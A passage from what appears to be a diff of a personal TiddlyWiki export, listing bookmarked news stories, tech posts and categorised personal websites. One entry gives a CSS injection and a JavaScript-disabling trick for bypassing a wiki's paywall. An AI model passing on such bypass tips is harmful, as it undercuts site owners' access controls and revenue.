vostra\"|https://www.ansa.it/sito/notizie/politica/2023/03/02/polemica-per-il-tweet-di-vittorio-feltri-sui-migranti-partire-e-un-po-morire_a7cb3918-90d4-4aac-b937-bef4a3c0390f.html]].\n\n; February 2023\n: [[Crotone, il racconto dei sopravvissuti: \"Nella stiva eravamo 180, ci facevano salire solo per respirare. Gli scafisti fuggiti su un canotto\"|https://www.repubblica.it/cronaca/2023/02/28/news/crotone_strage_migranti_conto_vittime_laura_boldrini-389901110/]].\n: \u003C\u003CYoutubeL ajBbuKXJ8nA \"Strage di Crotone: le vergognose parole di Piantedosi\">> - \"//Io non partirei se fossi disperato perché sono stato educato alla responsabilità'//\".\n: [[Report: US Pedestrian Death Rate Increased 9x Faster Than Population During COVID|https://usa.streetsblog.org/2023/02/28/report-us-pedestrian-death-rate-increased-9x-faster-than-population-during-covid/]].\n: [[Bankman-Fried and others allegedly made 300 illegal political donations|https://www.reuters.com/legal/new-indictment-unsealed-against-bankman-fried-containing-12-charges-2023-02-23/]].\n: [[U.S. food additives banned in Europe: Expert says what Americans eat is \"almost certainly\" making them sick|https://www.cbsnews.com/news/us-food-additives-banned-europe-making-americans-sick-expert-says/]].\n"}, {"title":"Saved/News/Tech","created":"20220922204301052","creator":"Octt","modified":"20230306164317245","modifier":"Octt","tags":"Reading Tech $:/i18n:en","text":"Interesting news I collect from the tech Internet sphere (HN primarily, but not exclusively), that don't fit into other tiddlers.\n\n; March 2023\n: [[Facebook and Google are handing over user data to help police prosecute abortion seekers|https://www.businessinsider.com/police-getting-help-social-media-to-prosecute-people-seeking-abortions-2023-2]] - //Social media sites are inundated with police requests for user data and may cooperate even if not legally required to//.\n\n; February 2023\n: [[I'm a Stanford professor who's studied organizational behavior for decades. The widespread layoffs in tech are more because of copycat behavior than necessary cost-cutting.|https://www.businessinsider.com/stanford-professor-mass-layoffs-caused-by-social-contagion-companies-imitating-2023-2]]\n: [[Even hackers are reportedly getting laid off by organized crime groups|https://www.businessinsider.com/hackers-ransomware-getting-laid-off-amid-better-cybersecurity-report-2023-2]] - //As cybersecurity improves, one hacker group laid off 45 employees//.\n: [[Roald Dahl ebooks remotely updated to censored versions after purchase|https://www.thetimes.co.uk/article/roald-dahl-collection-books-changes-text-puffin-uk-2023-rm2622vl0]].\n\n; December 2022\n: [[The FBI recommends using an ad-blocker when searching the web|https://www.ic3.gov/Media/Y2022/PSA221221]]\n\n!!! ''Older''\n\n* [[TOTP tokens on my wrist with the smartest dumb watch|https://blog.singleton.io/posts/2022-10-17-otp-on-wrist]]\n* [[Boeing 787s must be turned off and on every 51 days to prevent 'misleading data' being shown to pilots|https://www.theregister.com/2020/04/02/boeing_787_power_cycle_51_days_stale_data]]\n* [[Disposable Root Servers|https://blog.thc.org/disposable-root-servers]]\n* [[Neurons in a dish learn to play Pong — what’s next?|https://www.nature.com/articles/d41586-022-03229-y]]\n* [[retrowin32, a win32 emulator|https://neugierig.org/software/blog/2022/10/retrowin32.html]]\n* [[Ray Tracing In Notepad.exe At 30 FPS|http://kylehalladay.com/blog/2020/05/20/Rendering-With-Notepad.html]]\n* [[You can't buy a Raspberry Pi right now|https://www.jeffgeerling.com/blog/2022/you-cant-buy-raspberry-pi-right-now]]\n* [[7 Cool HTML Elements Nobody Uses|https://tapajyoti-bose.medium.com/7-cool-html-elements-nobody-uses-436598d85668]]\n* [[Despite faster broadband every year, web pages don't load any faster|https://www.datafantic.com/how-much-time-do-we-waste-waiting-for-websites-to-load]] [//[[c|https://readhacker.news/c/5mBGU]]//]\n* [[Avoiding homework with code (and getting caught)|https://alistair.blog/mochip]] [//[[c|https://readhacker.news/c/5mBHL]]//]\n* [[Show HN: I made an open-source Bitly alternative|https://readhacker.news/c/5mzDH]]\n* [[If the Moon Were Only 1 Pixel (2014)|https://readhacker.news/c/5myKf]]\n"}, {"title":"Saved/Posts/Tech","created":"20220922205247845","creator":"Octt","modified":"20230306170344589","modifier":"Octt","tags":"","text":"Some light posts about tech (microblog/forum basically) I need to save and don't know where to fit. (Not all are there, some are in private Mastodon bookmarks).\n\n; 2023/02/25\n: [[If you drag an emoji family with a string size of 11 into an input with maxlength=10, one of the children will disappear.|https://mastodon.social/@simevidas/109919980697679274]]\n\n; 2023/02/24\n: [[This post brought to you by gdb and grep -a, because after typing all that out as a quote toot and deciding that nah, I wanted it standalone, I clicked the \"x\" next to the quote box (which implies removing the quote association) and that didn't just cancel the quote, it deleted all the text. So I attached gdb to the Firefox content process hosting this tab, took a core dump, and grepped it for the lost text. I wasn't about to write all that again from scratch.|https://social.treehouse.systems/@marcan/109918006697541955]]\n\n; 2023/02/23\n: \u003C\u003CHackernewsL 34913596 \"Do not store any funds in PayPal or use them for anything critical\">>.\n\n; 2023/02/20\n: \u003C\u003CHackernewsL 34865695 \"What are these strange random strings spamming my blog?\">>\n"}, -{"title":"Saved/Sites","created":"20230223222804008","creator":"Octt","modified":"20240107161030045","modifier":"Octt","tags":"","text":"List of some Internet sites (Web and also other protocols, so not only \"websites\") I want to save, for some reason or another. Sometimes they have interesting content, others I just like the aesthetic, or navigation experience, and maybe they are by themselves a good inspiration for my site design journeys. All here are miscellaneous, look in subpages for categories.\n\nSome personal ones could be defined as \"[[digital gardens|Digital Garden]]\" and are might be moved in that section.\n\nNote: \"[property]-leaning\" means the majority of the content of the site, or the site's style, leans towards that property (in majority, but not necessarily in totality).\n\n!!! ''[[Blog]]-leaning''\n\n* [[sitoctt]]\n* [[Arcisito|https://arci.me]] --- \u003C\u003C[# Git \"https://github.com/AuroraViola/arcisito\">>\n* [[Akalanka Ekanayake Blog|https://blog.akalanka.uk/]] --- It's a curious blog, mainly deals with IT subject but the theme/style looks like a fashion blog lmao\n* [[Ctrl blog by Daniel Aleksandersen|https://www.ctrl.blog/]]\n* [[Daring Fireball|https://daringfireball.net/]]\n* [[/dev/null|https://blog.benstein.nl]] --- //My name is Christian Benstein and I write about macOS based workflow’s, Obsidian and Things3. My philosophy is that your mind was not created to store information but to act on it and create.// --- \u003C\u003C[# Git\"https://github.com/KingOfSpades/KingOfSpades\">>\n* [[Eli Grey|https://eligrey.com/]]\n* [[Fabrizio Musacchio|https://www.fabriziomusacchio.com/]]\n* [[FlareXes|https://flarexes.com]]\n* [[Gianmarco Gargiulo|https://gianmarco.gg]]\n* [[iliana etaoin|https://iliana.fyi/]] --- //systems engineer at oxide computer company//\n* [[Il Disinformatico|https://attivissimo.blogspot.com/]] --- //Un blog di Paolo Attivissimo, giornalista informatico e cacciatore di bufale//\n* \u003C\u003ChttpL iter.ca>>\n* [[Jeff Geerling|https://www.jeffgeerling.com/]]\n* [[koyu's personal website|https://web.koyu.space/]]\n* [[l33t.codes|https://l33t.codes]] --- Nice emulated retro-style with CRT effects and monospace text of many colors.\n* [[LarrySanger.org|https://larrysanger.org/]] --- \"//Technology, philosophy, and more//\"\n* [[Leo3418's Personal Site|https://leo3418.github.io/]] --- \u003C\u003C[# Git\"https://github.com/Leo3418/leo3418.github.io\">>\n* [[Lily's Things at The Cool Site|https://www.lilysthings.org/]]\n* [[LiteFeel|https://www.litefeel.com]]\n* [[Lisperator.net|https://lisperator.net/]] --- //to create, to ilisperate//\n* [[Lyosha Cluster (Лёша Кластер)|https://cluster.wtf/]]\n* [[Mega Cat Studios, Inc.|https://megacatstudios.com/pages/table-of-contents]] --- with blog about retro, videogame, and development subjects\n* [[Magnetismo 2.1 - Il meglio dell'informatica|https://magnetismoinformatica.blogspot.com/]]\n* [[Max Schillinger|https://maximilian-schillinger.de/index.html]] --- //Linux pro, workflow optimizer, coder for life.//\n* [[📚 Nitay Neeman's Blog|https://nitayneeman.github.io/]]\n* [[P01✨ CREATIVE CODER & TECHNICAL SPEAKER|http://www.p01.org]]\n* [[Parzibyte.me|https://parzibyte.me]] (+Blog) --- //Blog de conocimiento gratuito: linux, programación, open source, bases de datos, android, frameworks, web e informática en general.// --- \u003C\u003C[# Git\"https://github.com/parzibyte/parzibyte_me_3\">>\n* [[Read the Tea Leaves|https://nolanlawson.com/]] --- //Software and other dark arts, by Nolan Lawson//\n* [[RetrOfficina4004 Vintage|https://retrofficina4004.blogspot.com/]] --- //Chi non ricorda il passato è destinato a riviverlo//\n* [[λ ryan. himmelwright. net|https://ryan.himmelwright.net/]]\n* [[Sebastian Jambor's blog|https://seb.jambor.dev/]] --- software engineering, efficiency and other things\n* [[SECRET CLUB - We Break Software|https://secret.club/]] --- //UPPING THE ANTE ON RESEARCH//\n* [[Simon Willison’s Weblog|https://simonwillison.net/]] --- \u003C\u003C[ \"[[Git|https://github.com/simonw/simonwillisonblog]]\">>\n* [[Singpolyma|https://singpolyma.net/]] --- //Weber, Stephen Paul singpolyma. I played the tech industry game and won.// --- includes an interesting \"Actionstream\" feature listing public actions done on other sites\n* [[Stephan Wagner|https://stephanwagner.me/]]\n* [[TechLifeWeb|https://techlifeweb.com/]] --- //Exploring the digital life// --- interesting organization of normal blog posts with microblog-style notes\n* //''[[Technically We Write|https://technicallywewrite.com/]]'' is about technical writing, technical editing, and all things \"technical communication.\" Learn more about who we are.//\n* [[There oughta be...|https://there.oughta.be/]] --- //A collection of overcomplicated devices nobody needs//\n* [[Thiago Rossener - Desenvolvedor Front-End|https://rossener.com/]]\n* [[TiTiNoNero dice cose|https://www.77nn.it/]]\n* [[things i play|https://thingsiplay.game.blog/]] --- //My take on Gaming, Emulation and Steam related stuff on Linux//\n* [[Val Packett|https://val.packett.cool/]]\n\n!!! ''[[Book]]-leaning''\n* [[Alf's room (アルフの部屋)|https://alf-s-room.com/]]\n* [[Ledom Software|https://ledomsoft.com]]\n* [[100R - Hundred Rabbits|https://100r.co/]] --- \u003C\u003C[ \"[[Git|https://github.com/hundredrabbits/100r.co]]\">>\n\n!!! ''[[Gallery]]-leaning''\n\nThese are portfolios, collections of projects, hubs, landing pages, etc.\n\n* [[OctoSpacc Hub|https://hub.octt.eu.org]]\n* [[abe's projects - abe.today|https://abe.today/]] --- //Hi, I'm abe. I enjoy making things!//\n* [[Arktis :: Sigve Sebastian Farstad|https://arkt.is/]]\n* [[ari melody|https://arimelody.me/]] --- //your local SPACEGIRL 💫//\n* [[Daniel X's Artisanal Internets|https://danielx.net/]]\n** [[Whimsy Space - ZineOS|https://whimsy.space/]]\n* [[eip hax|https://eiphax.tech]] --- //hi. i'm eip. i guess i'm a 'hobbyist web developer', except my skillset is 'write bad html, steal js/css/php, eat hot chip and lie'.// --- contains sections related to game console hacking/homebrew\n* [[ENTROPIE|https://entropie.org/]] --- a handful of connected blogs with tech articles and tech art galleries\n* [[Grumpy Website|https://grumpy.website/]] --- //world-leading media conglomerate of renowned experts in UIs, UX and TVs//\n* [[Jeff Thompson|https://www.jeffreythompson.org/]] --- many creative programming and artistic tech works by the author are highlighted on the site\n* [[libdb.so (diamondburned)|https://libdb.so/]] / \u003C\u003ChttpsL diamondx.pet>> --- cool site, the thing is just a terminal shell but with working links, images, and small tools --- \u003C\u003C[# Git \"https://github.com/diamondburned/libdb.so\">>\n* \u003C\u003ChttpL \"Neal.fun\">>\n* [[Nanolx|https://nanolx.org/]] --- //Hacking @ Debian//\n* [[Novasquirrel's site|https://novasquirrel.com/]]\n* [[Rogue Studio|https://rogue.studio/]] --- //Digital marketing, branding, and product experience studio//\n* [[Salvador Camacho|https://salvacam.js.org]] --- //Desarrollador Web y Administrador de Sistemas// --- \u003C\u003C[# Git\"https://github.com/salvacam/salvacam.github.io\">>\n* [[The Hacker's Choice|https://www.thc.org]] --- group of international hackers, founded in 1995 --- \u003C\u003C[# \"Knowledge Base\" \"https://iq.thc.org\">>\n* [[Tom's Pages|http://www.toms.net/]]\n* [[Trong|https://trongnguyen.co/]] (+ digital garden) --- //Vietnamese Product Designer living in Singapore, currently @Carousell//\n* \u003C\u003Clinkdescgit \"Yasoob Khalid\" \"https://yasoob.me/\" \"Author, Blogger & artist who can't make up his mind\" \"https://github.com/yasoob/personal_blog\">> --- the site contains some cool tech-focused art projects\n* [[ZeptoBars|https://zeptobars.com/en/]] --- hi-def pictures of naked CPU dies\n\n!!! ''[[Note]]-leaning''\n\nThese are kind of blogs, but don't contain mainly things written as blogs, but more note-like articles, like tutorials ecc...\n\n* [[Attacomsian|https://attacomsian.com/]]\n* [[Fizer Khan|https://www.fizerkhan.com/]]\n* [[Matias Kinnunen (mtsknn)|https://mtsknn.fi]] --- \u003C\u003C[# Git \"https://github.com/mtsknn/mtsknn.fi\">>\n* [[Naomi's Notes|https://notes.nyaomi.xyz/]]\n* note.nkmk.me: [[en|https://note.nkmk.me/en]], [[jp|https://note.nkmk.me]] (different articles)\n* [[绒布地球 (Rongrongbq)|https://rongrongbq.moe/]]\n* [[rdpillon|https://rpdillon.net/]] --- //Rick's Home Online//\n* Show Notes from the [[Open Source is Awesome|https://opensourceisawesome.com/]] Youtube Channel\n* \u003C\u003Clinkdescgit SvennD \"https://svennd.be/\" \"Linux Sysadmin and Cyber Security Professional. This blog is mainly self-documenting. May my poorly written notes help you, dear DenverCoder9!\" \"https://github.com/svennd/blog\">>\n* [[Vincent Young Notes (missuo.me)|https://missuo.me/]] --- \u003C\u003C#[ Git \"https://github.com/missuo/missuo.github.io\">>\n\n!!! ''[[Wiki]]-leaning''\n\n* [[WikiHands|https://wikihands.github.io]]\n* [[WikiSpacc]]\n* Andrea Minini PKB: [[.com|https://www.andreaminini.com]], [[.org|https://www.andreaminini.org]]\n** [[How (by Okpedia)|https://how.okpedia.org/]] --- //Tutorials and Solutions KB// --- (apparently a separate wiki of the same person above, also multi-language)\n* [[Computer Science Mojo|https://csmojo.com]] --- //David's Notes on coding, software and computer science// --- \u003C\u003C[ \"[[Git|https://github.com/zhenyufu/zhenyufu.github.io]]\">>\n* //''[[Everything2|https://everything2.com/]]'' is a collaborative online community consisting of a database of interlinked user-submitted written material.//\n* [[Maggie Appleton|https://maggieappleton.com/]] --- \u003C\u003C[ \"[[Git|https://github.com/MaggieAppleton/maggieappleton.com-V2]]\">>\n* [[bash.org QDB|http://web.archive.org/web/20230719194509/http://bash.org/]] --- // Quote Database Home//\n* [[RetroRGB|https://www.retrorgb.com/]] --- //site dedicated to keeping everyone up-to-date with everything the retro-gaming world has to offer//\n* [[RaspiBO|https://www.raspibo.org/]] --- //gruppo informale di appassionati di elettronica ed informatica libera della zona di Bologna (ma non solo)//\n* [[TheFrenchGhosty|https://thefrenchghosty.me/]]\n* [[The Refined Mind|https://refinedmind.co/]] --- //This is my tiny plot on the internet where I share ideas in progress. It’s my public workspace and an experiment in what’s known as digital gardening.//\n* [[wiki.nikiv.dev|https://wiki.nikiv.dev/]] --- \u003C\u003C[ \"[[Git|https://github.com/nikitavoloboev/knowledge]]\">>\n** [2023-08-18] Apparently the majority of pages is now paywalled, and the public Git repo isn't receiving any updates. Since the wiki is still static, the paywall can be bypassed by injecting following CSS code: `.modalblur{display:none !important;}`; otherwise, also disabing JavaScript is an option (but breaks navigation on mobile and search globally).\n* [[XXIIVV|https://wiki.xxiivv.com/]] --- \u003C\u003C[ \"[[Git|https://github.com/XXIIVV/oscean]]\">>\n\n!!! Mess-leaning \u003Csmall>(often the most creative)\u003C/small>\n\n* [[Kicks Condor|https://www.kickscondor.com/]]\n* [[samy.pl|https://samy.pl/]] --- Website full of easter eggs by the same \u003C\u003CYoutubeL OJ1pEAdFLP8 \"person who once hacked MySpace\">>.\n** One easter egg is the client source code is hidden as a binary-encoded string represented by spaces and tabs; The server providing the data uses something (headers? but also other stuff) to only serve the real HTML to a browser; curl/wget without all the browser headers (and a browser after a reload in `view-source:` ?) get a fake HTML. \u003C\u003C#[ \"Older but more in-depth analysis\" \"https://t.me/ioctt/19280\">>\n* [[Tramaci.org|https://tramaci.org/]] --- Progetto a quanto pare abbandonato sulla privacy e il controllo, basato sul paradigma di [[pseudo-OS|Pseudo-OS]] web (anche fin troppo complottista e paranoide nei contenuti, ma tecnicamente è interessante).\n"}, +{"title":"Saved/Sites","created":"20230223222804008","creator":"Octt","modified":"20240119011823801","modifier":"Octt","tags":"","text":"List of some Internet sites (Web and also other protocols, so not only \"websites\") I want to save, for some reason or another. Sometimes they have interesting content, others I just like the aesthetic, or navigation experience, and maybe they are by themselves a good inspiration for my site design journeys. All here are miscellaneous, look in subpages for categories.\n\nSome personal ones could be defined as \"[[digital gardens|Digital Garden]]\" and are might be moved in that section.\n\nNote: \"[property]-leaning\" means the majority of the content of the site, or the site's style, leans towards that property (in majority, but not necessarily in totality).\n\n!!! ''[[Blog]]-leaning''\n\n* [[sitoctt]]\n* [[Arcisito|https://arci.me]] --- \u003C\u003C[# Git \"https://github.com/AuroraViola/arcisito\">>\n* [[Akalanka Ekanayake Blog|https://blog.akalanka.uk/]] --- It's a curious blog, mainly deals with IT subject but the theme/style looks like a fashion blog lmao\n* [[Ctrl blog by Daniel Aleksandersen|https://www.ctrl.blog/]]\n* [[Daring Fireball|https://daringfireball.net/]]\n* [[/dev/null|https://blog.benstein.nl]] --- //My name is Christian Benstein and I write about macOS based workflow’s, Obsidian and Things3. My philosophy is that your mind was not created to store information but to act on it and create.// --- \u003C\u003C[# Git\"https://github.com/KingOfSpades/KingOfSpades\">>\n* [[Eli Grey|https://eligrey.com/]]\n* [[Fabrizio Musacchio|https://www.fabriziomusacchio.com/]]\n* [[FlareXes|https://flarexes.com]]\n* [[Gianmarco Gargiulo|https://gianmarco.gg]]\n* [[iliana etaoin|https://iliana.fyi/]] --- //systems engineer at oxide computer company//\n* [[Il Disinformatico|https://attivissimo.blogspot.com/]] --- //Un blog di Paolo Attivissimo, giornalista informatico e cacciatore di bufale//\n* \u003C\u003ChttpL iter.ca>>\n* [[Jeff Geerling|https://www.jeffgeerling.com/]]\n* [[koyu's personal website|https://web.koyu.space/]]\n* [[l33t.codes|https://l33t.codes]] --- Nice emulated retro-style with CRT effects and monospace text of many colors.\n* [[LarrySanger.org|https://larrysanger.org/]] --- \"//Technology, philosophy, and more//\"\n* [[Leo3418's Personal Site|https://leo3418.github.io/]] --- \u003C\u003C[# Git\"https://github.com/Leo3418/leo3418.github.io\">>\n* [[Lily's Things at The Cool Site|https://www.lilysthings.org/]]\n* [[LiteFeel|https://www.litefeel.com]]\n* [[Lisperator.net|https://lisperator.net/]] --- //to create, to ilisperate//\n* [[Lyosha Cluster (Лёша Кластер)|https://cluster.wtf/]]\n* [[Mega Cat Studios, Inc.|https://megacatstudios.com/pages/table-of-contents]] --- with blog about retro, videogame, and development subjects\n* [[Magnetismo 2.1 - Il meglio dell'informatica|https://magnetismoinformatica.blogspot.com/]]\n* [[Max Schillinger|https://maximilian-schillinger.de/index.html]] --- //Linux pro, workflow optimizer, coder for life.//\n* [[📚 Nitay Neeman's Blog|https://nitayneeman.github.io/]]\n* [[P01✨ CREATIVE CODER & TECHNICAL SPEAKER|http://www.p01.org]]\n* [[Parzibyte.me|https://parzibyte.me]] (+Blog) --- //Blog de conocimiento gratuito: linux, programación, open source, bases de datos, android, frameworks, web e informática en general.// --- \u003C\u003C[# Git\"https://github.com/parzibyte/parzibyte_me_3\">>\n* [[Read the Tea Leaves|https://nolanlawson.com/]] --- //Software and other dark arts, by Nolan Lawson//\n* [[RetrOfficina4004 Vintage|https://retrofficina4004.blogspot.com/]] --- //Chi non ricorda il passato è destinato a riviverlo//\n* [[λ ryan. himmelwright. net|https://ryan.himmelwright.net/]]\n* [[𑇢^^^°\u003C (schnappy.xyz)|https://schnappy.xyz/]]\n* [[Sebastian Jambor's blog|https://seb.jambor.dev/]] --- software engineering, efficiency and other things\n* [[SECRET CLUB - We Break Software|https://secret.club/]] --- //UPPING THE ANTE ON RESEARCH//\n* [[Simon Willison’s Weblog|https://simonwillison.net/]] --- \u003C\u003C[ \"[[Git|https://github.com/simonw/simonwillisonblog]]\">>\n* [[Singpolyma|https://singpolyma.net/]] --- //Weber, Stephen Paul singpolyma. I played the tech industry game and won.// --- includes an interesting \"Actionstream\" feature listing public actions done on other sites\n* [[Stephan Wagner|https://stephanwagner.me/]]\n* [[TechLifeWeb|https://techlifeweb.com/]] --- //Exploring the digital life// --- interesting organization of normal blog posts with microblog-style notes\n* //''[[Technically We Write|https://technicallywewrite.com/]]'' is about technical writing, technical editing, and all things \"technical communication.\" Learn more about who we are.//\n* [[There oughta be...|https://there.oughta.be/]] --- //A collection of overcomplicated devices nobody needs//\n* [[Thiago Rossener - Desenvolvedor Front-End|https://rossener.com/]]\n* [[TiTiNoNero dice cose|https://www.77nn.it/]]\n* [[things i play|https://thingsiplay.game.blog/]] --- //My take on Gaming, Emulation and Steam related stuff on Linux//\n* [[Val Packett|https://val.packett.cool/]]\n\n!!! ''[[Book]]-leaning''\n* [[Alf's room (アルフの部屋)|https://alf-s-room.com/]]\n* [[Ledom Software|https://ledomsoft.com]]\n* [[100R - Hundred Rabbits|https://100r.co/]] --- \u003C\u003C[ \"[[Git|https://github.com/hundredrabbits/100r.co]]\">>\n\n!!! ''[[Gallery]]-leaning''\n\nThese are portfolios, collections of projects, hubs, landing pages, etc.\n\n* [[OctoSpacc Hub|https://hub.octt.eu.org]]\n* [[abe's projects - abe.today|https://abe.today/]] --- //Hi, I'm abe. I enjoy making things!//\n* [[Arktis :: Sigve Sebastian Farstad|https://arkt.is/]]\n* [[ari melody|https://arimelody.me/]] --- //your local SPACEGIRL 💫//\n* [[Daniel X's Artisanal Internets|https://danielx.net/]]\n** [[Whimsy Space - ZineOS|https://whimsy.space/]]\n* [[eip hax|https://eiphax.tech]] --- //hi. i'm eip. i guess i'm a 'hobbyist web developer', except my skillset is 'write bad html, steal js/css/php, eat hot chip and lie'.// --- contains sections related to game console hacking/homebrew\n* [[ENTROPIE|https://entropie.org/]] --- a handful of connected blogs with tech articles and tech art galleries\n* [[Grumpy Website|https://grumpy.website/]] --- //world-leading media conglomerate of renowned experts in UIs, UX and TVs//\n* [[Jeff Thompson|https://www.jeffreythompson.org/]] --- many creative programming and artistic tech works by the author are highlighted on the site\n* [[libdb.so (diamondburned)|https://libdb.so/]] / \u003C\u003ChttpsL diamondx.pet>> --- cool site, the thing is just a terminal shell but with working links, images, and small tools --- \u003C\u003C[# Git \"https://github.com/diamondburned/libdb.so\">>\n* \u003C\u003ChttpL \"Neal.fun\">>\n* [[Nanolx|https://nanolx.org/]] --- //Hacking @ Debian//\n* [[Novasquirrel's site|https://novasquirrel.com/]]\n* [[Rogue Studio|https://rogue.studio/]] --- //Digital marketing, branding, and product experience studio//\n* [[Salvador Camacho|https://salvacam.js.org]] --- //Desarrollador Web y Administrador de Sistemas// --- \u003C\u003C[# Git\"https://github.com/salvacam/salvacam.github.io\">>\n* [[The Hacker's Choice|https://www.thc.org]] --- group of international hackers, founded in 1995 --- \u003C\u003C[# \"Knowledge Base\" \"https://iq.thc.org\">>\n* [[Tom's Pages|http://www.toms.net/]]\n* [[Trong|https://trongnguyen.co/]] (+ digital garden) --- //Vietnamese Product Designer living in Singapore, currently @Carousell//\n* \u003C\u003Clinkdescgit \"Yasoob Khalid\" \"https://yasoob.me/\" \"Author, Blogger & artist who can't make up his mind\" \"https://github.com/yasoob/personal_blog\">> --- the site contains some cool tech-focused art projects\n* [[ZeptoBars|https://zeptobars.com/en/]] --- hi-def pictures of naked CPU dies\n\n!!! ''[[Note]]-leaning''\n\nThese are kind of blogs, but don't contain mainly things written as blogs, but more note-like articles, like tutorials ecc...\n\n* [[Attacomsian|https://attacomsian.com/]]\n* [[Fizer Khan|https://www.fizerkhan.com/]]\n* [[Matias Kinnunen (mtsknn)|https://mtsknn.fi]] --- \u003C\u003C[# Git \"https://github.com/mtsknn/mtsknn.fi\">>\n* [[Naomi's Notes|https://notes.nyaomi.xyz/]]\n* note.nkmk.me: [[en|https://note.nkmk.me/en]], [[jp|https://note.nkmk.me]] (different articles)\n* [[绒布地球 (Rongrongbq)|https://rongrongbq.moe/]]\n* [[rdpillon|https://rpdillon.net/]] --- //Rick's Home Online//\n* Show Notes from the [[Open Source is Awesome|https://opensourceisawesome.com/]] Youtube Channel\n* \u003C\u003Clinkdescgit SvennD \"https://svennd.be/\" \"Linux Sysadmin and Cyber Security Professional. This blog is mainly self-documenting. May my poorly written notes help you, dear DenverCoder9!\" \"https://github.com/svennd/blog\">>\n* [[Vincent Young Notes (missuo.me)|https://missuo.me/]] --- \u003C\u003C#[ Git \"https://github.com/missuo/missuo.github.io\">>\n\n!!! ''[[Wiki]]-leaning''\n\n* [[WikiHands|https://wikihands.github.io]]\n* [[WikiSpacc]]\n* Andrea Minini PKB: [[.com|https://www.andreaminini.com]], [[.org|https://www.andreaminini.org]]\n** [[How (by Okpedia)|https://how.okpedia.org/]] --- //Tutorials and Solutions KB// --- (apparently a separate wiki of the same person above, also multi-language)\n* [[Computer Science Mojo|https://csmojo.com]] --- //David's Notes on coding, software and computer science// --- \u003C\u003C[ \"[[Git|https://github.com/zhenyufu/zhenyufu.github.io]]\">>\n* //''[[Everything2|https://everything2.com/]]'' is a collaborative online community consisting of a database of interlinked user-submitted written material.//\n* [[Maggie Appleton|https://maggieappleton.com/]] --- \u003C\u003C[ \"[[Git|https://github.com/MaggieAppleton/maggieappleton.com-V2]]\">>\n* [[metasyn|https://metasyn.pw/]]\n* [[bash.org QDB|http://web.archive.org/web/20230719194509/http://bash.org/]] --- // Quote Database Home//\n* [[RetroRGB|https://www.retrorgb.com/]] --- //site dedicated to keeping everyone up-to-date with everything the retro-gaming world has to offer//\n* [[RaspiBO|https://www.raspibo.org/]] --- //gruppo informale di appassionati di elettronica ed informatica libera della zona di Bologna (ma non solo)//\n* [[TheFrenchGhosty|https://thefrenchghosty.me/]]\n* [[The Refined Mind|https://refinedmind.co/]] --- //This is my tiny plot on the internet where I share ideas in progress. It’s my public workspace and an experiment in what’s known as digital gardening.//\n* [[wiki.nikiv.dev|https://wiki.nikiv.dev/]] --- \u003C\u003C[ \"[[Git|https://github.com/nikitavoloboev/knowledge]]\">>\n** [2023-08-18] Apparently the majority of pages is now paywalled, and the public Git repo isn't receiving any updates. Since the wiki is still static, the paywall can be bypassed by injecting following CSS code: `.modalblur{display:none !important;}`; otherwise, also disabing JavaScript is an option (but breaks navigation on mobile and search globally).\n* [[XXIIVV|https://wiki.xxiivv.com/]] --- \u003C\u003C[ \"[[Git|https://github.com/XXIIVV/oscean]]\">>\n\n!!! Mess-leaning \u003Csmall>(often the most creative)\u003C/small>\n\n* [[Kicks Condor|https://www.kickscondor.com/]]\n* [[samy.pl|https://samy.pl/]] --- Website full of easter eggs by the same \u003C\u003CYoutubeL OJ1pEAdFLP8 \"person who once hacked MySpace\">>.\n** One easter egg is the client source code is hidden as a binary-encoded string represented by spaces and tabs; The server providing the data uses something (headers? but also other stuff) to only serve the real HTML to a browser; curl/wget without all the browser headers (and a browser after a reload in `view-source:` ?) get a fake HTML. \u003C\u003C#[ \"Older but more in-depth analysis\" \"https://t.me/ioctt/19280\">>\n* [[Tramaci.org|https://tramaci.org/]] --- Progetto a quanto pare abbandonato sulla privacy e il controllo, basato sul paradigma di [[pseudo-OS|Pseudo-OS]] web (anche fin troppo complottista e paranoide nei contenuti, ma tecnicamente è interessante).\n"}, {"title":"Saved/Sites/Development","created":"20230429190335486","creator":"Octt","modified":"20240103004131125","modifier":"Octt","tags":"","text":"Saved sites that are mainly about development (mainly devlogs, project showcases, or tips+tricks, and online tools).\n\nNote: the most technically useful ones, or the non-too-personal ones, might be listed under [[Development/Resources]].\n\n* [[Aibol Kussain|https://aibolik.com/]] --- //My Online space to share my learning in tech//\n* [[Hello Algorithms, Blockchain and Cloud|https://helloacm.com/]] --- //The Knowledgebase of Computing// --- seems like the most interesting and unique posts are the very old ones, still saving it here just for those.\n* [[binji's dustbin|https://binji.github.io/]]\n* [[Chibi Aliens / ChibiAkumas|https://www.chibialiens.com/]] --- //learn Assembly for the Greatest Classic Processors//\n* [[The Copetti Site - Rodrigo Copetti|https://www.copetti.org/]] --- //Technical writings for hungry readers// --- has a //Architecture of Consoles// series\n* [[copyrat90::devlog|https://copyrat90.github.io/]], \u003C\u003ChttpL velog.io/@copyrat90>> --- \u003C\u003C[# Git\"https://github.com/copyrat90/copyrat90.github.io\">>\n* [[Coto's development site|https://coto88.bitbucket.io/]]\n* [[Ctrl Alt Develop|https://www.ctrlaltdevelop.com/]] --- //Control the conditions. Alter your paradigm. Develop a solution.//\n* [[delasign|https://www.delasign.com/]] --- //we design, develop & optimize digital products & experiences for companies & individuals.//\n* [[DevDugeon|https://www.devdungeon.com/]] --- //Virtual Hackerspace; programming, cybersecurity, software freedom, and electronics//\n* [[cpprograms|https://cpprograms.net/]]\n* [[DefKorns|https://defkorns.github.io/]] --- //Mod repository// (has a cool strange Spiderman theme?)\n* [[Dragonminded.com|https://dragonminded.com/]] --- //...a site for everything else//\n* [[Dr.Hell's Page - 独田地獄斎之頁|https://drhell.web.fc2.com/]]\n* [[Dustin John Pfister|https://dustinpfister.github.io/]]\n* [[Fyrdility (Alexis Deveria)|https://a.deveria.com/]] --- //web design, web development, web technologies, web browsers and web standards//\n* \u003C\u003Clinkdescgit \"Hydra's Lair\" \"https://hydr8gon.github.io\" \"Emulators and Stuff\" \"https://github.com/Hydr8gon/hydr8gon.github.io\">>\n* [[Jack's AutoHotkey Blog|https://jacks-autohotkey-blog.com/]] --- //Feed Your Brain While Adding Power to Your Windows Computers//\n* [[Joaquim Ley|https://web.archive.org/web/20230604080543/https://www.joaquimley.com/]] --- //Builder, Engineer. Working in leadership. Blockchain, AI, social impact & climate.//\n** [[Joaquim Ley Blog|https://web.archive.org/web/20211027065800/https://joaquimley.com/blog]] --- //Writing about my experience sailing the tech world.//\n* [[Hey onetwo!|https://onetwo.ren/]] --- //林一二的开放记忆 | 关于前端_模因学_语义网_游戏开发_的博客 (Lin Yier's Open Memory | Blog about front-end, 